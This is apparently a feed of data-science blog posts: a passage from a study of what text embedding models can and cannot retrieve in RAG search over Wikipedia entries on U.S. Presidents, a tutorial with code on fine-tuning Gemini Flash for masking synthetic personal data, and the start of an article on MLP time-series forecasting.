The results of the civilian employee query can be seen in the results spreadsheet. The first hit for Large and second for Ada is a passage describing some of FDR’s work in the Navy, but this was partly luck because it included the word ‘civilian’ in a different context. Mentions were made of staff work by LBJ and Nixon, although it is clear from the passages that they were active duty at the time. (Some staff jobs can be filled by either military or civilian appointees.) Mention of Teddy Roosevelt’s civilian staff work did not show up at all, which would prevent an LLM from correctly answering the question based on these hits.

Overall there were only minor difference between the searches for Navy, “In the Navy” and “civilian employee”. Asking directly about active-duty Navy gave similar results. The larger embedding models had some correct associations, but overall could not make the necessary distinction well enough to answer the question.

Common Concepts

Question: Which U.S. Presidents were U.S. Senators before they were President?

All of the vectors seem to generally understand common concepts like this, and can give good results that an LLM could turn into an accurate response. The embeddings could also differentiate between the U.S. Senate and U.S. House of Representatives. They were clear on the difference between Vice President and President, the difference between a lawyer and a judge, and the general concept of an elected representative.

They also all did well when asked about Presidents who were artists, musicians, or poker players. They struggled a little with ‘author’ because there were so many false positives in the data relate to other authors.

More Specialized Concepts

As we saw, they each have their representational limits, which for Large was the concept of ‘civilian employee of the Navy.’ They also all did poorly on the distinction between national and state representatives.

Question: Which U.S. President served as elected representatives at the state level?

None of the models returned all, or even most of the Presidents who served in state legislatures. All of the models mostly returned hits relate to the U.S. House of Representatives, with some references to states or governors. Large’s first hit was on target: “Polk was elected to its state legislature in 1823”, but missed the rest. This topic could use some more probing, but in general this concept was a fail.

Question: Which US Presidents were not born in a US State?

All four embeddings returned Barack Obama as one of the top hits to this question. This is not factual — Hawaii was a state in 1961 when Obama was born there, but the misinformation is prevalent enough (thanks, Donald) to show up in the encoding. The Presidents who were born outside of the United States were the early ones, e.g. George Washington, because Virginia was not a state when he was born. This implied fact was not accessible via the embeddings. William Henry Harrison was returned in all cases, because his entry includes the passage “…he became the last United States president not born as an American citizen”, but none of the earlier President entries said this directly, so it was not found in the searches.

Search for specific, semi-famous people and places

Question: Which U.S. Presidents were asked to deliver a difficult message to John Sununu?

People who are old enough to have followed U.S. politics in the 1990s will remember this distinctive name: John Sununu was governor of New Hampshire, was a somewhat prominent political figure, and served as George H.W. Bush’s (Bush #1's) chief of staff. But he isn’t mentioned in Bush #1’s entry. He is mentioned in a quirky offhand anecdote in the entry for George W. Bush (Bush #2) where Bush #1 asked Bush #2 to ask Sununu to resign. This was mentioned, I think, to illustrate one of Bush #2’s key strengths, likability, and the relationship between the two Bushes. A search for John Sununu, which would have been easy for a keyword search due to the unique name, fails to find this passage in three of the four embeddings. The one winner? Surprisingly, it is BGE, the underdog.

There was another interesting pattern: Large returned a number of hits on Bush #1, the President historically most associated with Sununu, even though he is never mentioned in the returned passages. This seems more than a coincidence; the embedding encoded some kind of association between Sununu and Bush #1 beyond what is stated in the text.

Which U.S. Presidents were criticized by Helen Prejean?

I observed the same thing with a second semi-famous name: Sister Helen Prejean was a moderately well-known critic of the death penalty; she wrote Dead Man Walking and Wikipedia briefly notes that she criticized Bush #2’s policies. None of the embeddings were able to find the Helen Prejean mention which, again, a keyword search would have found easily. Several of Large’s top hits are passages related to the death penalty, which seems like more than a coincidence. As with Sununu, Large appears to have some association with the name, even though it is not represented clearly enough in the embedding vocabulary to do an effective search for it.

I tested a number of other specific names, places, and one weird word, ‘normalcy’, for the embedding models’ ability to encode and match them in the Wikipedia texts. The table below shows the hits and misses.

What does this tell us?

Language models encode more frequently-encountered names, i.e. more famous people, but are less likely to encode them the more infrequent they are. Larger embeddings, in general, encode more specific details. But there were cases here smaller models outperformed larger ones, and models also sometimes had to have some associations even with name that they cannot recognize well enough to find. A great follow up on this would be a more systematic study of how noun frequency affects representation in embeddings.

Tangent #1: Rhyming

This was a bit of a tangent but I had fun testing it. Large Language models cannot rhyme very well, because they neither speak or hear. Most humans learn to read aloud first, and learn to read silently only later. When we read silently, we can still subvocalize the words and ‘hear’ the rhymes in written verse as well. Language models do not do this. Theirs is a silent, text-only world. They know about rhyming only from reading about it, and never get very good at it. Embeddings could theoretically represent phonetics, and can usually give accurate phonetics for a given word. But I’ve been testing rhyming on and off since GPT-3, and LLMs usually can’t search on this. However, the embeddings surprised me a few times in this exercise.

Which President’s name rhymes with ‘Gimme Barter?’

This one turned out to be easy; all four vectors gave “Jimmy Carter” as the first returned hit. The cosine similarities were lowish, but since this was essentially a multiple choice test of Presidents, they all made the match easily. I think the spellings of Gimme Barter and Jimmy Carter are too similar, so let’s try some harder ones, with more carefully disguised rhymes that sound alike but have dissimilar spellings.

Which US President’s name rhymes with Laybramam Thinkin’?

This one was harder. Abraham Lincoln did not show up on BGE or ST’s top ten hits, but was #1 for Ada and #3 for Large.

Which US President’s names rhymes with Will-Ard Syl-Bor?

Millard Fillmore was a tough rhyme. It was #2 for Ada, #5 for Large, not in the top 10 for the others. The lack of Internet poetry about President Fillmore seems like a gap someone needs to fill. There were a lot of false hits for Bill Clinton, perhaps because of the double L’s?

And yet, this exists: https://www.classroompoems.com/millard-fillmore-poem.htm. Because it is the Internet.

Which US President’s name rhymes with Mayrolled Gored?

Gerald Ford was #7 for BGE , #4 for Ada, #5 for Large.

Rhyming was not covered at the Gerald R. Ford Presidential Museum in my hometown of Grand Rapids, Michigan. I would know, I visited it many times. More on that later.

Takeaway: the larger embedding schemes can rhyme, a little, although maybe less well than a human. How are they doing this, and what are the limits? Are they analyzing phonetics, taking advantage of existing rhyming content, or making good guesses another way? I have no idea. Phonetic encoding in embedding systems seems like a fine thesis topic for some enterprising linguistics student, or maybe a very nerdy English Lit major.

Embedding can’t do Booleans: no NOT, AND, or OR

Simple semantic search cannot do some basic operations the keyword query systems generally can, and are not good at searching for sequences of events.

Question: Which Presidents were NOT Vice President first?

Doing a vector search with ‘NOT’ is similar to the old adage about telling someone not to think about a Pink Elephant — saying the phrase usually causes the person to do so. Embeddings have no representation of ‘Not Vice President’, they only have Vice President.

The vector representing the question will contain both “President” and “Vice President” and tend to find chunks with both. One could try to kludge a compound query, searching first for all President, then all Vice Presidents, and subtract, but the limit on contexts returned would prevent returning all of the first list, and is not guaranteed to get all of the second. Boolean search with embeddings remains a problem.

Question: Which U.S. President was NOT elected as vice President and NEVER elected as President?

An exception the the ‘NOT’ fail: all of the embeddings could find the passage saying that Gerald Ford was the only President that was never elected to be Vice President (appointed when Spiro Agnew resigned) or President (took Nixon’s place when he resigned, lost the re-election race to Jimmy Carter.) They were able to find this because the ‘not’ was explicitly represented in the text, with no inference needed, and it is also a well-known fact about Ford.

Why is there a double negative in this question?

The unnecessary double negative in the prior question made this search better. A search on “Which U.S. President was not elected as either Vice President or President?” gave poorer results. I added the double negative wording as a hunch that the double negatives would have a compound effect of making the query more both negative and make it easier to connect the ‘not’ to both offices. This does not make grammatical sense but does make sense in the world of superimposed semantics.

Gerald R. Ford’s many accomplishments

People who have visited the Gerald R. Ford Presidential museum in my hometown of Grand Rapids, Michigan, a sufficient number of times will be aware that Ford made many important contributions despite not being elected to the highest offices. Just putting that out there.

Question: Which Presidents were President AND Vice President?

Semantic search has a sort of weak AND, more like an OR, but neither is a logical Boolean query. Embeddings do not link concepts with strict logic. Instead, think of them as superimposing concepts on top of each other on the same vector. This query would find chunks that load strongly on President (which is most of them in this dataset) and Vice President, but does not enforce the logical AND in any way. In this dataset it gives some correct hits, and a lot of extraneous mentions of Vice Presidents. This search for superimposed concepts is not a true logical OR either.

Embeddings and sequences of actions

Do embeddings connect concepts sequentially well enough to search on these sequences? My going-in assumption was that they cannot, but the embeddings did better than expected.

Humans have a specific types of memory for sequence, called episodic memory. Stories are an important type of information for us; we encode things like personal history, social information and also useful lessons as stories. We can also recognize stories similar to ones that we already know. We can read a story about a hero who fails because of his fatal flaw, or an ordinary person who rises to great heights, and recognize not just the concepts but the sequence of actions. In my previous blog post on RAG search using Aesop’s Fables, the RAG system did not seem to have any ability to search on sequences of actions. I expected a similar failure here, but the results were a little different.

Question: Which US Presidents served in Congress after being President?

There were many Presidents who served in congress before being President, but only two who served in congress after being President. All of the Embeddings returned a passage from John Quincy Adams, which directly gives the answer, as a top hit: Adams and Andrew Johnson are the only former presidents to serve in Congress. All of them also separately found entries for Andrew Johnson in the top 10. There were a number of false hits, but the critical information was there.

The embeddings did not do as well on the follow-ups, like Which US Presidents served as judges after being President? But all did find mention of Taft, who notably was the only person to serve as chief justice and president.

Does this really represent successfully searching on a sequence? Possibly not; in these cases the sequence may be encapsulated in a single searchable concept, like “former President”. I still suspect that embeddings would badly underperform humans on more difficult story-based searches. But this is a subtle point that would require more analysis.

What about causal connections?

Causal reasoning is such an important part of human reasoning that I wanted to separately test whether causal linkages are clearly represented and searchable. I tested these with two paired queries that had the causality reversed, and looked both at which search hits were returned, and how the pairs different. Both question pairs were quite interesting and results are shown in the spreadsheet; I will focus on this one:

Question: When did a President’s action cause an important world event? -vs- When did an important world event cause a President’s action?

ST failed this test, it returned exactly the same hits in the same order for both queries. The causal connection was not represented clearly enough to affect the search.

All of the embeddings returned multiple chunks related to Presidential world travel, weirdly failing to separate traveling from official actions.

None of the embeddings did well on the causal reversal. Every one had hits where world events coincided with Presidential actions, often very minor actions, with no causal link in either direction. There all had false hits where the logical linkage went in the wrong directions (Presidents causing events vs responding to events). There were multiple example of commentators calling out Presidential inaction, which suggests that ‘act’ and ‘not act’ are conflated. Causal language, especially the word ‘cause’ triggered a lot of matches, even when it was not attached to a Presidential action or world event.

A deeper exploration of how embeddings represent causality, maybe in a critical domain like medicine, would be in order. What I observed is a lack of evidence that embeddings represent and correctly use causality.

Analogies

Question: Which U.S. Presidents were similar to Simon Bolivar, and how?

Simon Bolivar, revolutionary leader and later political leader in South America, is sometimes called the “George Washington of South America”. Could the embedding models perceive this analogy in the other direction?

• BGE- Gave a very weird set of returned context, with no obvious connection besides some mentions of Central/ South American.
• ST- Found a passage about William Henry Harrison’s 1828 trip to Colombia and feuding with Bolivar, and other mentions of Latin America, but made no abstract matches.
• Ada- Found the Harrison passage + South America references, but no abstract matches that I can tell.
• Large- Returned George Washington as hit #5 behind Bolivar/ S America hits.

Large won this test in a landslide. This hit shows the clearest pattern of larger/better vectors outperforming others at abstract comparisons.

Abstract concepts

I tested a number of searches on more abstract concepts. Here are two examples:

Questions: Which US Presidents exceeded their power?

BGE: top hit: “In surveys of U.S. scholars ranking presidents conducted since 1948, the top three presidents are generally Lincoln, Washington, and Franklin Delano Roosevelt, although the order varies.” BGE found hits all related to Presidential noteworthiness, especially rankings by historians, I think keying on the words ‘power’ and ‘exceed’. This was a miss.

ST: “Roosevelt is widely considered to be one of the most important figures in the history of the United States.” Same patterns as BGE; a miss.

Ada: Ada’s hits were all on the topic of Presidential power, not just prestige, and so were more on-target than the smaller models. There is a common theme of increasing power, and some passages that imply exceeding, like this one: the Patriot Act “increased authority of the executive branch at the expense of judicial opinion…” Overall, not a clear win, but closer.

Large: It did not find the best 10 passages, but the hits were more on target. All had the concept of increasing Presidential power, and most has a flavor of exceeding some previous limit, e.g. “conservative columnist George Will wrote in The Washington Post that Theodore Roosevelt and Wilson were the “progenitors of today’s imperial presidency”

Again, there was a pattern of larger models having more precise, on-target abstractions. Large was the only one to get close to a correct representation of a President “exceeding their power” but even this performance left a lot of room for improvement.

Embeddings do not understand subtext

Subtext is meaning in a text that is not directly stated. People add meaning to what they read, making emotional associations, or recognizing related concepts that go beyond what is directly stated, but embeddings do this only in a very limited way.

Question: Give an example of a time when a U.S. President expressed frustration with losing an election?

In 1960, then-Vice President Richard Nixon lost a historically close election to John F Kennedy. Deeply hurt by the loss, Nixon decided to settle to return home to his home state of California and ran for governor in 1962. Nixon lost that race too. He famously announced at a press conference, “You don’t (won’t) have Nixon to kick around anymore because, gentlemen, this is my last press conference,” thus ending his political career, or so everyone thought.

What happens when you search for: “Give an example of a time when a U.S. President expressed frustration with losing an election”? None of the embeddings return this Nixon quote. Why? Because Wikipedia never directly states that he was frustrated, or had any other specific emotion; that is all subtext. When a mature human reads “You won’t have Nixon to kick around anymore”, we recognize some implied emotions, probably without consciously trying to do so. This might be so automatic when reading that one thinks it is in the text. But in his passage the emotion is never directly stated. And if it is subtext, not text, an embedding will (probably) not be able to represent it or be able to search it.

Wikipedia avoids speculating on emotional subtext as a part of fact-based reporting. Using subtext instead of text is also considered good tradecraft for fiction writers, even when the goal is to convey strong emotions. A common piece of advice for new writers is, “show, don’t tell.” Skilled writers reveal what characters are thinking and feeling without directly stating it. There’s even a name for pedantic writing that explains things too directly, it is called “on-the-nose dialogue”.

But “show, don’t tell” makes some content invisible to embeddings, and thus to vector-based RAG retrieval systems. This presents some fundamental barriers to what can be found in RAG system in the domain of emotional subtext, but also other layers of meaning that go beyond what is directly stated. I also did a lot of probing around concepts like Presidential mistakes, Presidential intentions, and analytic patterns that are just beyond what is directly stated in the text. Embedding-based search generally failed on this, mostly returning only direct statements, even when they were not relevant.

Why are embeddings shallow compared to Large Language Models?

Large Language Models like Claude and GPT-4 have the ability to understand subtext; they do a credible job explaining stories, jokes, poetry and Taylor Swift song lyrics. So why can’t embeddings do this?

Language models are comprised of layers, and in general the lower layers are shallower forms of processing, representing aspects like grammar and surface meanings, while higher level of abstraction occur in higher layers. Embeddings are the first stage in language model processing; they convert text into numbers and then let the LLM take over. This is the best explanation I know of for why the embedding search tests seem to plateau at shallower levels of semantic matching.

Embedding were not originally designed for RAGs; using them for semantic search is a clever, but ultimately limited secondary usage. That is changing, as embedding systems are being optimized for search. BGE was to some extend optimized for search, and ST was designed for sentence comparison; I would say this is why both BGE and ST were not too far behind Ada and Large despite being a fraction of the size. Large was probably designed with search in mind to a limited extent. But it was easy to push each of them to their semantic limits, as compared with the kind of semantics processed by full large language models.

Conclusion

What did we learn, conceptually, about embeddings in his exercise?

The embedding models, overall, surprised me on a few things. The semantic depth was less than I expected, based on the performance of the language models that use them. But they outperformed my expectations on a few things I expected them to fail completely at, like rhyming and searching for sequenced activities. This activity piqued my interest in probing some more specific areas; perhaps it did for you as well.

For RAG developers, this illuminated some of the specific ways that larger models may outperform smaller ones, including the precisions of their representation, the breadth of knowledge and the range of abstractions. As a sometime RAG builder, I have been skeptical that paying more for embeddings would lead to better performance, but this exercise convinced me that embedding choice can make a difference for some applications.

Embeddings systems will continue to incrementally improve, but I think some fundamental breakthroughs will be needed in this area. There is some current research on innovations like universal text embeddings.

Knowledge graphs are a popular current way to supplement semantic search. Graphs are good for making cross-document connections, but the LLM-derived graphs I have seen are semantically quite shallow. To get semantic depth from a knowledge graph probably requires a professionally-developed ontology to be available to serve as a starting point; these are available for some specialized fields.

My own preferred method is to improve text with more text. Since full language models can perceive and understand meaning that is not in embeddings, why not have a language model pre-process and annotate the text in your corpus with the specific types of semantics you are interested in? This might be too expensive for truly huge datasets, but for data in the small to medium range it can be an excellent solution.

I experimented with adding annotations to the Presidential dataset. To make emotional subtext searchable I had GPT4o write narratives for each President highlighting the personal and emotional content. These annotations were added back into the corpus. They are not great prose, but the concept worked. GPT’s annotation of the Nixon entry included the sentence: “The defeat was a bitter pill to swallow, compounded by his loss in the 1962 California gubernatorial race. In a moment of frustration, Nixon declared to the press, ‘You won’t have Nixon to kick around anymore,’ signaling what many believed to be the end of his political career”. This effectively turned subtext into text, making is searchable.

I experimented with a number of types of annotations. One that I was particularly happy used Claude to examine each Presidency and make comments on underlying system dynamical phenomena like delayed feedback and positive feedback loops. Searching on these terms on the original text gave nothing useful, but greatly improved with annotations. Claude’s analyses were not brilliant, or even always correct, but it found and annotated enough decent examples that searches using system dynamic language found useful content.

Embeddings Are Kind of Shallow was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

In most common Machine Learning and Natural Language Processing, achieving optimal performance often involves a trade-off between the amount of data used for training and the resulting model accuracy. This blog post explores the concept of sample efficiency in the context of fine-tuning Google’s Gemini Flash model using a PII masking dataset as a practical example. We’ll examine how fine-tuning with increasing amounts of data impacts the tuned model’s capabilities.

What is Sample Efficiency and Why Does it Matter?

Sample efficiency refers to a model’s ability to achieve high accuracy with a limited amount of training data. It’s a key aspect of ML development, especially when dealing with tasks or domains where large, labeled datasets might be scarce or expensive to acquire. A sample-efficient model can learn effectively from fewer examples, reducing the time, cost, and effort associated with data collection and training. LLMs were shown to be very sample efficient, even capable of doing in-context learning with few examples to significantly boost performance. The main motivation of this blog post is to explore this aspect using Gemini Flash as an example. We will evaluate this LLM under different settings and then plot the learning curves to understand how the amount of training data impacts the performance.

Our Experiment: Fine-tuning Gemini Flash for PII masking

To show the impact of sample efficiency, we’ll conduct an experiment focusing on fine-tuning Gemini Flash for PII masking. We’ll use a publicly available PII masking dataset from Hugging Face and evaluate the model’s performance under different fine-tuning scenarios:

1. Zero-shot setting: Evaluating the pre-trained Gemini Flash model without any fine-tuning.
2. Few-shot setting (3-shot): Providing the model with 3 examples before asking it to mask PII new text.
3. Fine-tuned with 50 | 200 | 800 | 3200 | 6400 samples: Fine-tuning the model using small to larger dataset of PII/Masked pairs.

For each setting, we’ll evaluate the model’s performance on a fixed test set of 200 sentences, using the BLEU metric to measure the quality of the generated masked text. This metric assesses the overlap between the model’s output and masked sentence, providing a quantitative measure of masking accuracy.

Limitations:

It’s important to acknowledge that the findings of this small experiment might not directly generalize to other use cases or datasets. The optimal amount of data for fine-tuning depends on various factors, including the nature and complexity of the task, the quality of the data, and the specific characteristics of the base model.

My advice here is to take inspiration from the code presented in this post and either:

1. Apply it directly to your use case if you already have data so you can see if your training curves are slowing down (meaning you are getting significant diminishing returns)
2. Or, if you have no data, find a dataset for the same class of problems that you have (classification, NER, summarization) and a similar difficulty level so that you can use it to get an idea of how much data you need for your own task by plotting the learning curves.

Data

We will be using a PII (Personal Identifiable Information) masking dataset shared on Huggingface.

The dataset presents two pairs of texts, one original with PII and another one with all PII information masked.

Example:

Input :

A student’s assessment was found on device bearing IMEI: 06–184755–866851–3. The document falls under the various topics discussed in our Optimization curriculum. Can you please collect it?

Target:

A student’s assessment was found on device bearing IMEI: [PHONEIMEI]. The document falls under the various topics discussed in our [JOBAREA] curriculum. Can you please collect it?

The data is synthetic, so no real PII is actually shared here.

Our objective is to build a mapping from the source text to the target text to hide all PII automatically.

Data licence: https://huggingface.co/datasets/ai4privacy/pii-masking-200k/blob/main/license.md

Code Implementation

We’ll provide code snippets to facilitate the execution of this experiment. The code will leverage the Hugging Face datasets library for loading the PII masking dataset, the google.generativeai library for interacting with Gemini Flash, and the evaluate library for computing the BLEU score.

pip install transformers datasets evaluate google-generativeai python-dotenv sacrebleu

This snippet installs the required libraries for the project, including:

• datasets: Facilitates loading and processing datasets from Hugging Face.
• evaluate: Enables the use of evaluation metrics like SacreBLEU.
• google-generativeai: Allows interaction with Google’s Gemini API.

First, we do data some data loading and splitting:

# Import necessary libraries
from datasets import load_dataset
from google.generativeai.types import HarmCategory, HarmBlockThreshold
# Define GOOGLE_API_KEY as a global variable
# Function to load and split the dataset
def load_data(train_size: int, test_size: int):
    """
    Loads the pii-masking-200k dataset and splits it into train and test sets.
    Args:
        train_size: The size of the training set.
        test_size: The size of the test set.
    Returns:
        A tuple containing the train and test datasets.
    """
    dataset = load_dataset("ai4privacy/pii-masking-200k")
    dataset = dataset["train"].train_test_split(test_size=test_size, seed=42)
    train_d = dataset["train"].select(range(train_size))
    test_d = dataset["test"]
    return train_d, test_d

First, we try zero-shot prompting for this task. This means we explain the task to the LLM and ask it to generate PII masked data from the original text. This is done using a prompt that lists all the tags that need to be masked.

We also parallelize the calls to the LLM api to speed up things a bit.

For the evaluation we use the BLEU score. It is a precision based metric that is commonly used in machine translation to compare the model output to the reference sentence. It has its limitations but is easy to apply and is suited to text-to-text tasks like the one we have at hand.

import google.generativeai as genai
from google.generativeai.types.content_types import ContentDict
from google.generativeai.types import HarmCategory, HarmBlockThreshold

from concurrent.futures import ThreadPoolExecutor
import evaluate

safety_settings = {
    HarmCategory.HARM_CATEGORY_HATE_SPEECH: HarmBlockThreshold.BLOCK_NONE,
    HarmCategory.HARM_CATEGORY_SEXUALLY_EXPLICIT: HarmBlockThreshold.BLOCK_NONE,
    HarmCategory.HARM_CATEGORY_DANGEROUS_CONTENT: HarmBlockThreshold.BLOCK_NONE,
    HarmCategory.HARM_CATEGORY_HARASSMENT: HarmBlockThreshold.BLOCK_NONE,
}
SYS_PROMPT = (
    "Substitute all PII in this text for a generic label like [FIRSTNAME] (Between square brackets)\n"
    "Labels to substitute are PREFIX, FIRSTNAME, LASTNAME, DATE, TIME, "
    "PHONEIMEI, USERNAME, GENDER, CITY, STATE, URL, JOBAREA, EMAIL, JOBTYPE, "
    "COMPANYNAME, JOBTITLE, STREET, SECONDARYADDRESS, COUNTY, AGE, USERAGENT, "
    "ACCOUNTNAME, ACCOUNTNUMBER, CURRENCYSYMBOL, AMOUNT, CREDITCARDISSUER, "
    "CREDITCARDNUMBER, CREDITCARDCVV, PHONENUMBER, SEX, IP, ETHEREUMADDRESS, "
    "BITCOINADDRESS, MIDDLENAME, IBAN, VEHICLEVRM, DOB, PIN, CURRENCY, "
    "PASSWORD, CURRENCYNAME, LITECOINADDRESS, CURRENCYCODE, BUILDINGNUMBER, "
    "ORDINALDIRECTION, MASKEDNUMBER, ZIPCODE, BIC, IPV4, IPV6, MAC, "
    "NEARBYGPSCOORDINATE, VEHICLEVIN, EYECOLOR, HEIGHT, SSN, language"
)
# Function to evaluate the zero-shot setting
def evaluate_zero_shot(train_data, test_data, model_name="gemini-1.5-flash"):
    """
    Evaluates the zero-shot performance of the model.
    Args:
        train_data: The training dataset (not used in zero-shot).
        test_data: The test dataset.
        model_name: The name of the model to use.
    Returns:
        The SacreBLEU score for the zero-shot setting.
    """
    model = genai.GenerativeModel(model_name)
    def map_zero_shot(text):
        messages = [
            ContentDict(
                role="user",
                parts=[f"{SYS_PROMPT}\nText: {text}"],
            ),
        ]
        response = model.generate_content(messages, safety_settings=safety_settings)
        try:
            return response.text
        except ValueError:
            print(response)
            return ""
    with ThreadPoolExecutor(max_workers=4) as executor:
        predictions = list(
            executor.map(
                map_zero_shot,
                [example["source_text"] for example in test_data],
            )
        )
    references = [[example["target_text"]] for example in test_data]
    sacrebleu = evaluate.load("sacrebleu")
    sacrebleu_results = sacrebleu.compute(
        predictions=predictions, references=references
    )
    print(f"Zero-shot SacreBLEU score: {sacrebleu_results['score']}")
    return sacrebleu_results["score"]

Now, lets try to go further with prompting. In addition to explaining the task to the LLM, we will also show it three examples of what we expect it to do. This usually improves performance.

# Function to evaluate the few-shot setting
def evaluate_few_shot(train_data, test_data, model_name="gemini-1.5-flash"):
    """
    Evaluates the few-shot performance of the model.
    Args:
        train_data: The training dataset.
        test_data: The test dataset.
        model_name: The name of the model to use.
    Returns:
        The SacreBLEU score for the few-shot setting.
    """
    model = genai.GenerativeModel(model_name)
    def map_few_shot(text, examples):
        messages = [
            ContentDict(
                role="user",
                parts=[SYS_PROMPT],
            )
        ]
        for example in examples:
            messages.append(
                ContentDict(role="user", parts=[f"Text: {example['source_text']}"]),
            )
            messages.append(
                ContentDict(role="model", parts=[f"{example['target_text']}"])
            )
        messages.append(ContentDict(role="user", parts=[f"Text: {text}"]))
        response = model.generate_content(messages, safety_settings=safety_settings)
        try:
            return response.text
        except ValueError:
            print(response)
            return ""
    few_shot_examples = train_data.select(range(3))
    with ThreadPoolExecutor(max_workers=4) as executor:
        predictions = list(
            executor.map(
                lambda example: map_few_shot(example["source_text"], few_shot_examples),
                test_data,
            )
        )
    references = [[example["target_text"]] for example in test_data]
    sacrebleu = evaluate.load("sacrebleu")
    sacrebleu_results = sacrebleu.compute(
        predictions=predictions, references=references
    )
    print(f"3-shot SacreBLEU score: {sacrebleu_results['score']}")
    return sacrebleu_results["score"]

Finally, we try fine-tuning. Here, we just use the managed service of the Gemini API. It is free for now so might as well take advantage of it. We use increasing amounts of data and compare the performance of each.

Running a tuning task can’t be easier: we just use the genai.create_tuned_model function with the data, number of epochs and learning rate and parameters.

The training task is asynchronous, which means we don’t have to wait for it. It gets queued and is usually done within 24 hours.

def finetune(train_data, finetune_size, model_name="gemini-1.5-flash"):
    """
    Fine-tunes the model .

    Args:
        train_data: The training dataset.
        finetune_size: The number of samples to use for fine-tuning.
        model_name: The name of the base model to use for fine-tuning.
    Returns:
        The name of the tuned model.
    """
    base_model = f"models/{model_name}-001-tuning"
    tuning_data = [
        {
            "text_input": f"{SYS_PROMPT}\nText: {example['source_text']}",
            "output": example["target_text"],
        }
        for example in train_data.select(range(finetune_size))
    ]
    print(len(tuning_data))
    operation = genai.create_tuned_model(
        display_name=f"tuned-{finetune_size}",
        source_model=base_model,
        epoch_count=2,
        batch_size=4,
        learning_rate=0.0001,
        training_data=tuning_data,
    )

You can check the status of the tuning tasks using this code snippet:

import google.generativeai as genai

for model_info in genai.list_tuned_models():
    print(model_info.name)
    print(model_info)

Summary of Findings:

The PII masking algorithm demonstrates increasing performance with the addition of more training data for fine-tuning.

Zero-shot and Few-shot:

The zero-shot approach achieves a respectable BLEU score of 83.85, indicating a basic understanding of the task even without any training examples. However, providing just three examples (3-shot) improves the score to 87.59, showcasing the effectiveness of even limited examples with in-context learning of LLMs.

Fine-tuning:

Fine-tuning with a small dataset of 50 samples yields a BLEU score of 86.38, slightly lower than the 3-shot approach. However, as the training data increases, the performance improves significantly. With 200 samples, the BLEU score jumps to 90.97, and with 800 samples, it reaches a nice 94.30. The maximum score is reached at the maximum amount of data tested (6400 samples) at 97.52 BLEU score.

Conclusion:

The basic conclusion is that, unsurprisingly, you gain performance as you add more data. While the zero-shot and few-shot capabilities of Gemini Flash are impressive, demonstrating its ability to generalize to new tasks, fine-tuning with an big enough amount of data significantly enhances its accuracy. The only unexpected thing here is that few-shot prompting can sometimes outperform fine-tuning if the amount or quality of your training data is too low.

Key points:

• Fine-tuning can be necessary for high performance: Even a small amount of fine-tuning data can generate large improvements over zero-shot and few-shot approaches.
• More data generally leads to better results: As the size of the fine-tuning dataset increases, the tuned model’s ability to accurately mask PII also increases, as shown by the rising BLEU scores.
• Diminishing returns: While more data is generally better, there likely comes a point where the gains in performance start to plateau. Identifying this point can help better weigh the trade-off between labeling budget and tuned model quality.
  In our example, the plateau starts at 3200 samples, anything above that will yields positive but diminishing returns.

How Much Data Do You Need to Fine-Tune Gemini? was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more of this story at Slashdot.

Introduction

Time series and more specifically time series forecasting is a very well known data science problem among professionals and business users alike.

Several forecasting methods exist, which may be grouped as statistical or machine learning methods for comprehension and a better overview, but as a matter of fact, the demand for forecasting is so high that the available options are abundant.

Machine learning methods are considered state-of-the-art approach in time series forecasting and are increasing in popularity, due to the fact that they are able to capture complex non-linear relationships within the data and generally yield higher accuracy in forecasting [1]. One popular machine learning field is the landscape of neural networks. Specifically for time series analysis, recurrent neural networks have been developed and applied to solve forecasting problems [2].

Data science enthusiasts might find the complexity behind such models intimidating and being one of you I can tell that I share that feeling. However, this article aims to show that

despite the latest developments in machine learning methods, it is not necessarily worth pursuing the most complex application when looking for a solution for a particular problem. Well-established methods enhanced with powerful feature engineering techniques could still provide satisfactory results.

More specifically, I apply a Multi-Layer Perceptron model and share the code and results, so you can get a hands-on experience on engineering time series features and forecasting effectively.

Goal of the Article

More precisely what I aim at to provide for fellow self-taught professionals, could be summarized in the following points:

1. forecasting based on real-world problem / data
2. how to engineer time series features for capturing temporal patterns
3. build an MLP model capable of utilizing mixed variables: floats and integers (treated as categoricals via embedding)
4. use MLP for point forecasting
5. use MLP for multi-step forecasting
6. assess feature importance using permutation feature importance method
7. retrain model for a subset of grouped features (multiple groups, trained for individual groups) to refine the feature importance of grouped features
8. evaluate the model by comparing to an UnobservedComponents model

Key Technical Terms

Please note, that this article assumes the prior knowledge of some key technical terms and do not intend to explain them in details. Find those key terms below, with references provided, which could be checked for clarity:

1. Time Series [3]
2. Prediction [4] — in this context it will be used to distinguish model outputs in the training period
3. Forecast [4] — in this context it will be used to distinguish model outputs in the test period
4. Feature Engineering [5]
5. Autocorrelation [6]
6. Partial Autocorrelation [6]
7. MLP (Multi-Layer Perceptron) [7]
8. Input Layer [7]
9. Hidden Layer [7]
10. Output Layer [7]
11. Embedding [8]
12. State Space Models [9]
13. Unobserved Components Model [9]
14. RMSE (Root Mean Squared Error) [10]
15. Feature Importance [11]
16. Permutation Feature Importance [11]